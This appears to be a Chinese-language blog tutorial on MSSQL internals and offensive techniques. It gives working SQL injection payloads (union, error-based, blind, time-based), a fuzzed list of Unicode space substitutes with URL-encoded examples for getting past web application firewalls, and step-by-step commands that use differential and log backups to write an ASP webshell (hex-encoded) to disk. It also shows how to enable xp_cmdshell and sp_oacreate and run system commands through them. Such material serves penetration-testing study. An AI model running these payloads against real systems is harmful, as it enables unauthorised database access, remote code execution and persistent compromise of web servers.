最近就是开始看mssql了,然后还研究了下waf绕过方式
环境搭建
我首先是从用docker拉了一个微软官方的镜像,然后环境就搭起来的。
docker run -e "ACCEPT_EULA=Y" -e "SA_PASSWORD=yourStrong(!)Password" -p 1433:1433 -d mcr.microsoft.com/mssql/server:2022-latest
但是考虑到有些地方会用到windows版本的,所以还在虚拟机里搭了一个windows版本的,用SSMS进行管理。本地测试的时候在windows下用了19版本的,docker中用过17、19、22三个版本
mssql结构
和postgresql类似:instance → databases → schemas → objects
在eastjun
数据库下查询一条sql语句select * from users
完整的写法应该是select * from eastjun.dbo.users
,对应的是database.schema.table
。查数据时如果省略了schema
名,那么默认的schema
就会是dbo
权限
创建登录名
create login eastjun with password='123456'
创建用户
create user westjun from login eastjun
修改登录名和用户映射
execute sp_change_users_login 'update_one','westjun','eastjun'
将eastjun
数据库的权限授权给用户westjun
,然后就能通过eastjun/123456
账号连接数据库并拥有eastjun
这个数据库的权限了
grant control on database::eastjun to westjun
在这里可以看出来登录名和用户名可以不同,如果是sa
用户登录的,则用户名为dbo
,登录名为sa
信息搜集
版本号
select @@version
计算机名
select @@servername select srvname from master.sys.sysservers
工作站名,上说是客户端的名称,还说可能提供不准确的数据。根据@@servername
和host_name()
是否相等可判断站库分离
select host_name()
用户名,通过user_name()
加参数可以遍历所有用户,下面这些返回的都是用户名。如果用sa
用户登录返回的是dbo
select user select session_user select user_id() select user_name() select name from master.sys.sysusers
登录名,如果是登录的sa用户,那么user
为dbo
,system_user
为sa
。suser_name()
中也可以加参数,通过加参数还能遍历所有的用户。除此之外,下面这些返回的都是登录名
select system_user select suser_name() select suser_sname() select suser_sname(suser_sid()) select name from master.sys.syslogins
查询数据
查询数据库
使用db_name()
查数据库名
select db_name()
使用db_name(N)
可以遍历数据库
select db_name(0) select name from master.sys.sysdatabases select top 1 name from sys.database_files select top 1 name from sys.sysfiles
遍历schema
使用schema_name(N)
可以遍历schema
,除此之外在每个数据库下还有一些系统视图,其中sys.schemas
和information_schema.schemata
可以查到schema
select schema_name(3) select name from sys.schemas select schema_name from information_schema.schemata
遍历table
遍历表名的时候也是从视图中获取数据,这些视图可以用SSMS
这个图形化管理工具找到,除了sys.objects
以外还有sys.all_objects
和sys.sysobjects
这几个视图也可以查表名
select table_name from information_schema.tables where table_schema = 'dbo' select name from sys.objects where type='U' and schema_id=1 select name from sys.tables where schema_id=1
遍历column
查询列名需要知道表名的object_id
,有sys.columns
和sys.all_columns
两个视图可以查
select column_name from information_schema.columns where table_name = 'users' select name from sys.columns where object_id=(select object_id from sys.objects where name='users')
查数据
在mssql中没有limit字句,如果需要限制查第二条数据,可以用row_number()
select id,username,password from(select row_number()over(order by (select 1))rn,* from users)t where rn=3
或者是正序查询之后再倒序查询
select top 1 * from (select top 5 * from users order by 1 asc)x order by 1 desc
没有group_concat
函数,在17版本以后可以用string_agg()
函数,不过限制了只能查询8000 bytes
的数据
select string_agg(id,',') from users;
mssql注入
联合查询
使用null占位
select 1,user,system_user union select 1,null,null
报错注入
利用字符串转数字报错
select cast(user as int) select convert(int,user) select 1+user
盲注
盲注主要涉及到字符串截取和比较两个问题 字符串截取函数:
select substring(user, 2,1) select stuff(user, 1, 1, '') select reverse(left(user,2)) select reverse(cast(user as varchar(2)))
字符串比较:
ascii(user)!>119 nullif(ascii(user), 119) is null ascii(user) between 119 and 119 ascii(user) in (119) case ascii(user) when 118 then cot(0) else 0 end user like 'w%'
报错盲注
利用报错构造true
和false
select case when ascii(user)!>119 then cot(0) else 1 end select cot(coalesce(nullif(ascii(user),118),0)) select 1 + coalesce(nullif(ascii(user),118),'a')
利用数学函数或者数据类型转换进行报错
select exp(999) select cot(0) select sqrt(-1) select log(0) select 1/0 select 1+'a'
时间盲注
构造超时的sql语句
exists(select * from sys.columns a,sys.columns b,sys.columns c)
waf绕过
利用mssql的特性能更好地绕过waf,因为waf在进行语法分析的时候可能会报错
别名
中括号在mssql中用于解决关键字冲突,使用双引号和单引号也行,使用下面这几种方式都可以定义别名
select 1 [select],[update]=123,user "case",system_user '+'
运算符
在mssql中有!>
、!<
两个比较符号,在盲注进行比较的时候可用
select 1 where 1!<1 or 1!>1
any
、some
、all
从字面意思就能理解
1>=any(select 1)
在mssql中+
用于连接字符串,在其他几种数据库中'1'+'1'
都返回2
,而mssql中返回11
select 'aa'+'aa'
绕过空格过滤
在mssql
中\x00
~\x20
中间的符号都可以代替空格。除此之外呢,在Unicode范围内还能找到一些能代替空格的字符,这些字符是我写脚本fuzz出来的:
\u0085,\u00a0 \u1680,\u2000,\u2001,\u2002,\u2003,\u2004,\u2005,\u2006,\u2007,\u2008,\u2009,\u200a,\u200b,\u2028,\u2029,\u202f,\u205f,\u3000
进行url编码一遍是这样的:
%C2%85,%C2%A0 %E1%9A%80,%E2%80%80,%E2%80%81,%E2%80%82,%E2%80%83,%E2%80%84,%E2%80%85,%E2%80%86,%E2%80%87,%E2%80%88,%E2%80%89,%E2%80%8A,%E2%80%8B,%E2%80%A8,%E2%80%A9,%E2%80%AF,%E2%81%9F,%E3%80%80
如果需要过waf,在有空格的地方替换这些字符,在能插入空格的地方尝试插入这些字符,大概率就能让waf进行语法分析时报错导致waf被绕过:
select * from users union%E2%80%80select 1%E2%80%80,%E2%80%80null,null select db_name%E2%80%81(%E2%80%81) select name from sys%E2%80%81.%E2%80%81tables
xp_dirtree
使用xp_dirtree
可以列目录
execute master..xp_dirtree 'c:' //列出所有c:\文件和目录,子目录 execute master..xp_dirtree 'c:',1 //只列c:\文件夹 execute master..xp_dirtree 'c:',1,1 //列c:\文件夹加文件
还可以创建临时表,将存储过程查询到的路径插入到临时表中
create table tmp (dir varchar(8000),num int,num1 int); insert into tmp(dir,num,num1) execute master..xp_dirtree 'c:',1,1;
差异备份写shell
差异备份是首先备份一次数据库,然后插入webshell后再备份和第一次备份不同的地方,这样子应该会比直接备份整个数据库拿到的webshell要小。
backup database eastjun to disk = 'c:/test/bak.bak'; create table test (cmd image); insert into test(cmd) values(0x3C25657865637574652872657175657374282261222929253E); backup database eastjun to disk='c:/test/1.asp' with differential,format;
log备份写shell
log备份也需要首先对数据库进行一次完整的备份。相比差异备份,log备份得到的webshell会小很多
create database test; backup database test to disk = 'c:/test/bak.bak'; alter database test set recovery full; create table test.dbo.test(cmd image); backup log test to disk = 'c:/test/bak.bak' with init; insert into test.dbo.test(cmd) values (0x3C25657865637574652872657175657374282261222929253E); backup log test to disk = 'c:/test/2.asp';
xp_cmdshell
利用xp_cmdshell
可以执行命令,可以看看微软官方关于xp_cmdshell
的。 新版本中默认被禁用,但是可以用sp_configure
启用
--允许修改高级参数 exec sp_configure 'show advanced options',1;reconfigure; --打开xp_cmdshell 扩展 exec sp_configure 'xp_cmdshell',1;reconfigure;
然后可以执行命令
exec master..xp_cmdshell 'whoami'
在19版本中运行的用户为nt service\mssqlserver
xp_subdirs
用于得到目录下的文件夹列表
exec xp_subdirs 'c:'
xp_availablemedia
列出所有驱动器
exec xp_availablemedia
sp_oacreate
判断是否存在sp_oacreate
select count(*) from master.dbo.sysobjects where xtype='x' and name='sp_oacreate'
启用sp_oacreate
exec sp_configure 'show advanced options', 1; reconfigure with override; exec sp_configure 'Ole Automation Procedures', 1; reconfigure with override;
调用sp_oacreate
执行命令,该方法无回显,可以写文件看回显
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'cmd /c whoami > c:/test/1.txt'
Referer